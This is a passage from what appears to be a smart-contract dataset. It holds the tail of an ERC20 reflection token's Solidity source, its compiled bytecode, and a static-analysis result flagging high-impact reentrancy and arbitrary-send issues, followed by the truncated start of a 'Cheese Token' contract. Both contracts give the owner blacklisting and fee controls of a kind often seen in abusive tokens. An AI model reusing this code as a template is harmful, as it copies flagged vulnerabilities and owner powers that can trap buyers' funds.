memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) { require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit"); } if (!isExcludedFromLimit[to]) { require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit"); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); isExcludedFromLimit[address(uniswapV2Router)] = true; isExcludedFromLimit[uniswapV2Pair] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function changeMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount; } function changeMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount; } function changeSwapThreshold(uint256 amount) public onlyOwner { swapThreshold = amount; } function excludeFromFees(address account, bool excluded) public onlyOwner { isExcludedFromFee[account] = excluded; } function excludeFromLimits(address account, bool excluded) public onlyOwner { isExcludedFromLimit[account] = excluded; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rReflect, tReflect); emit Transfer(sender, recipient, tTransferAmount); } } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate); return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam); } function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tReflect = tAmount.mul(reflectFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam); return (tTransferAmount, tReflect, tTeam); } function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rReflect = tReflect.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam); return (rAmount, rTransferAmount, rReflect); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf9146104a1578063d94160e0146104b6578063dd62ed3e146104e6578063f42938901461052c57600080fd5b8063b515566a14610441578063c024666814610461578063c0a904a21461048157600080fd5b8063715018a61461038057806381bfdcca1461039557806389f425e7146103b55780638da5cb5b146103d557806395d89b41146103f3578063a9059cbb1461042157600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102f05780635932ead114610320578063677daa571461034057806370a082311461036057600080fd5b8063313ce5671461028757806349bd5a5e146102a357806351bc3c85146102db57600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101f957806318160ddd1461022957806323b872dd14610245578063273123b71461026557600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b5060408051808201909152600d81526c5072696e63657373417a756c6160981b60208201525b6040516101b19190611d07565b34801561020557600080fd5b50610219610214366004611b98565b610541565b60405190151581526020016101b1565b34801561023557600080fd5b50683635c9adc5dea000006101a7565b34801561025157600080fd5b50610219610260366004611b2b565b610558565b34801561027157600080fd5b50610285610280366004611abb565b6105c1565b005b34801561029357600080fd5b50604051600981526020016101b1565b3480156102af57600080fd5b506011546102c3906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e757600080fd5b50610285610615565b3480156102fc57600080fd5b5061021961030b366004611abb565b60056020526000908152604090205460ff1681565b34801561032c57600080fd5b5061028561033b366004611c8a565b61064e565b34801561034c57600080fd5b5061028561035b366004611cc2565b610696565b34801561036c57600080fd5b506101a761037b366004611abb565b6106c5565b34801561038c57600080fd5b506102856106e7565b3480156103a157600080fd5b506102856103b0366004611cc2565b61075b565b3480156103c157600080fd5b506102856103d0366004611cc2565b61078a565b3480156103e157600080fd5b506000546001600160a01b03166102c3565b3480156103ff57600080fd5b50604080518082019091526005815264415a554c4160d81b60208201526101ec565b34801561042d57600080fd5b5061021961043c366004611b98565b6107b9565b34801561044d57600080fd5b5061028561045c366004611bc3565b6107c6565b34801561046d57600080fd5b5061028561047c366004611b6b565b61086a565b34801561048d57600080fd5b5061028561049c366004611b6b565b6108bf565b3480156104ad57600080fd5b50610285610914565b3480156104c257600080fd5b506102196104d1366004611abb565b60066020526000908152604090205460ff1681565b3480156104f257600080fd5b506101a7610501366004611af3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053857600080fd5b50610285610cff565b600061054e338484610d29565b5060015b92915050565b6000610565848484610e4d565b6105b784336105b285604051806060016040528060288152602001611ed8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611293565b610d29565b5060019392505050565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016105eb90611d5a565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063557600080fd5b6000610640306106c5565b905061064b816112cd565b50565b6000546001600160a01b031633146106785760405162461bcd60e51b81526004016105eb90611d5a565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106c05760405162461bcd60e51b81526004016105eb90611d5a565b601255565b6001600160a01b03811660009081526002602052604081205461055290611472565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105eb90611d5a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107855760405162461bcd60e51b81526004016105eb90611d5a565b601355565b6000546001600160a01b031633146107b45760405162461bcd60e51b81526004016105eb90611d5a565b600b55565b600061054e338484610e4d565b6000546001600160a01b031633146107f05760405162461bcd60e51b81526004016105eb90611d5a565b60005b81518110156108665760016007600084848151811061082257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085e81611e6d565b9150506107f3565b5050565b6000546001600160a01b031633146108945760405162461bcd60e51b81526004016105eb90611d5a565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108e95760405162461bcd60e51b81526004016105eb90611d5a565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461093e5760405162461bcd60e51b81526004016105eb90611d5a565b601154600160a01b900460ff16156109985760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105eb565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109d53082683635c9adc5dea00000610d29565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0e57600080fd5b505afa158015610a22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a469190611ad7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8e57600080fd5b505afa158015610aa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac69190611ad7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b0e57600080fd5b505af1158015610b22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b469190611ad7565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610baa816106c5565b600080610bbf6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c2257600080fd5b505af1158015610c36573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c5b9190611cda565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610cc757600080fd5b505af1158015610cdb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108669190611ca6565b600e546001600160a01b0316336001600160a01b031614610d1f57600080fd5b4761064b816114f6565b6001600160a01b038316610d8b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105eb565b6001600160a01b038216610dec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105eb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eb15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105eb565b6001600160a01b038216610f135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105eb565b80610f1d846106c5565b1015610f7a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105eb565b6000546001600160a01b03848116911614801590610fa657506000546001600160a01b03838116911614155b15611283576001600160a01b03831660009081526007602052604090205460ff16158015610fed57506001600160a01b03821660009081526007602052604090205460ff16155b610ff657600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061104f57506011546001600160a01b03848116911614801561104f57506001600160a01b03821660009081526006602052604090205460ff16155b156110bc576012548111156110bc5760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105eb565b6001600160a01b03821660009081526006602052604090205460ff1661115557601354816110e9846106c5565b6110f39190611dff565b11156111555760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105eb565b6011546001600160a01b03848116911614801561118057506010546001600160a01b03838116911614155b80156111a557506001600160a01b03821660009081526005602052604090205460ff16155b80156111ba5750601154600160b81b900460ff165b15611208576001600160a01b03821660009081526008602052604090205442116111e357600080fd5b6111ee42603c611dff565b6001600160a01b0383166000908152600860205260409020555b6000611213306106c5565b601154909150600160a81b900460ff1615801561123e57506011546001600160a01b03858116911614155b80156112535750601154600160b01b900460ff165b80156112615750600b548110155b156112815761126f816112cd565b47801561127f5761127f476114f6565b505b505b61128e83838361157b565b505050565b600081848411156112b75760405162461bcd60e51b81526004016105eb9190611d07565b5060006112c48486611e56565b95945050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137757600080fd5b505afa15801561138b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113af9190611ad7565b816001815181106113d057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113f69130911684610d29565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f908590600090869030904290600401611d8f565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60006009548211156114d95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105eb565b60006114e3611586565b90506114ef83826115a9565b9392505050565b600e546001600160a01b03166108fc6115108360026115a9565b6040518115909202916000818181858888f19350505050158015611538573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6115538360026115a9565b6040518115909202916000818181858888f19350505050158015610866573d6000803e3d6000fd5b61128e8383836115eb565b60008060006115936117ab565b90925090506115a282826115a9565b9250505090565b60006114ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ed565b6000806000806000806115fd8761181b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162f9087611878565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061167a57506001600160a01b03881660009081526005602052604090205460ff165b15611703576001600160a01b0388166000908152600260205260409020546116a290876118ba565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f6908b815260200190565b60405180910390a36117a0565b6001600160a01b03881660009081526002602052604090205461172690866118ba565b6001600160a01b03891660009081526002602052604090205561174881611919565b6117528483611963565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179791815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006117c782826115a9565b8210156117e457505060095492683635c9adc5dea0000092509050565b90939092509050565b6000818361180e5760405162461bcd60e51b81526004016105eb9190611d07565b5060006112c48486611e17565b60008060008060008060008060006118388a600c54600d54611987565b9250925092506000611848611586565b9050600080600061185b8e8787876119dc565b919e509c509a509598509396509194505050505091939550919395565b60006114ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611293565b6000806118c78385611dff565b9050838110156114ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105eb565b6000611923611586565b905060006119318383611a2c565b3060009081526002602052604090205490915061194e90826118ba565b30600090815260026020526040902055505050565b6009546119709083611878565b600955600a5461198090826118ba565b600a555050565b60008080806119a1606461199b8989611a2c565b906115a9565b905060006119b4606461199b8a89611a2c565b905060006119cc826119c68b86611878565b90611878565b9992985090965090945050505050565b60008080806119eb8886611a2c565b905060006119f98887611a2c565b90506000611a078888611a2c565b90506000611a19826119c68686611878565b939b939a50919850919650505050505050565b600082611a3b57506000610552565b6000611a478385611e37565b905082611a548583611e17565b146114ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105eb565b8035611ab681611eb4565b919050565b600060208284031215611acc578081fd5b81356114ef81611eb4565b600060208284031215611ae8578081fd5b81516114ef81611eb4565b60008060408385031215611b05578081fd5b8235611b1081611eb4565b91506020830135611b2081611eb4565b809150509250929050565b600080600060608486031215611b3f578081fd5b8335611b4a81611eb4565b92506020840135611b5a81611eb4565b929592945050506040919091013590565b60008060408385031215611b7d578182fd5b8235611b8881611eb4565b91506020830135611b2081611ec9565b60008060408385031215611baa578182fd5b8235611bb581611eb4565b946020939093013593505050565b60006020808385031215611bd5578182fd5b823567ffffffffffffffff80821115611bec578384fd5b818501915085601f830112611bff578384fd5b813581811115611c1157611c11611e9e565b8060051b604051601f19603f83011681018181108582111715611c3657611c36611e9e565b604052828152858101935084860182860187018a1015611c54578788fd5b8795505b83861015611c7d57611c6981611aab565b855260019590950194938601938601611c58565b5098975050505050505050565b600060208284031215611c9b578081fd5b81356114ef81611ec9565b600060208284031215611cb7578081fd5b81516114ef81611ec9565b600060208284031215611cd3578081fd5b5035919050565b600080600060608486031215611cee578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d3357858101830151858201604001528201611d17565b81811115611d445783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611dde5784516001600160a01b031683529383019391830191600101611db9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e1257611e12611e88565b500190565b600082611e3257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e5157611e51611e88565b500290565b600082821015611e6857611e68611e88565b500390565b6000600019821415611e8157611e81611e88565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064b57600080fd5b801515811461064b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfb2bda285570953ab811d8462802b9f26fe6fd6e2d2b7c1ffbfe839e40f7d1064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,715
0xbcf0dc6ee461a6a361b86a0c4f32094d936a2727
// SPDX-License-Identifier: Unlicensed //telegram https://t.me/Cheesetoken //One Cheese to Rule them all // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // **************************************/(##%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // *****************************************************/(%&@@@@@@@@@@@@@@@@@@@@@@@ // ***************************************************************(%@@@@@@@@@@@@@@@ // *********************************************************************/&@@@@@@@@@ // *************************************************************************/&@@@@@ // ****************************************************************************#@@@ // **********%%##(//************************************************************%@@ // *************/#(. ..,*/#%&@@@&%%###(//*******************************%(%@ // *******************#(, .,,.. .,*/(%&@@@&%%%##(/*/&(///@ // ************************##/ ..* ,(*////% // *****************************((( ...... .#/////# // **********************************/#(/ (*///// // ***************************************(#( ./ ....,/. (////// // #%#%%%%%%%%###########((((////*///////*//#. .. ......./ /////// // /////////////////////////////////////////(* / ....../ /////// // /////////////////////////////////////////// ,* ....*. *(///// // //////////////////////////////////////////# .*//////, *(///// // //////////////////////////////////////////#. .** *(///// // //////////////////////////////////////////(* ..../ /(///// // //////////////////////////////////////////(* .....* //////( // ///////////////////////////////////////////*,//,,,(, (/////# // //////////////////////////////////////////(* #/////& // //////////////////////////////////////////#@@@&&%%%#((/*,.. %///(@@ // //////////////////////////////////////////%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // //////////////////////////////////////////&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // //////////////////////////////////////////@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // /////////////////////////////////////////#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // ///////////////////////////////////(((##%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // %%%&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CheeseToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redis = 1; uint256 private _tax = 10; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; uint256 private sniperCount = 0; string private constant _name = "Cheese Token"; string private constant _symbol = "Cheese"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1) { _feeAddrWallet1 = _add1; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0),address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { require(amount <= _maxTxAmount); _feeAddr1 = _redis; _feeAddr2 = _tax; uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(contractTokenBalance > 0){ swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } if( from == owner()){ _feeAddr2 = 0; _feeAddr1 = 0; } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal ; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal/100; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklistBot(address _address) external onlyOwner(){ // 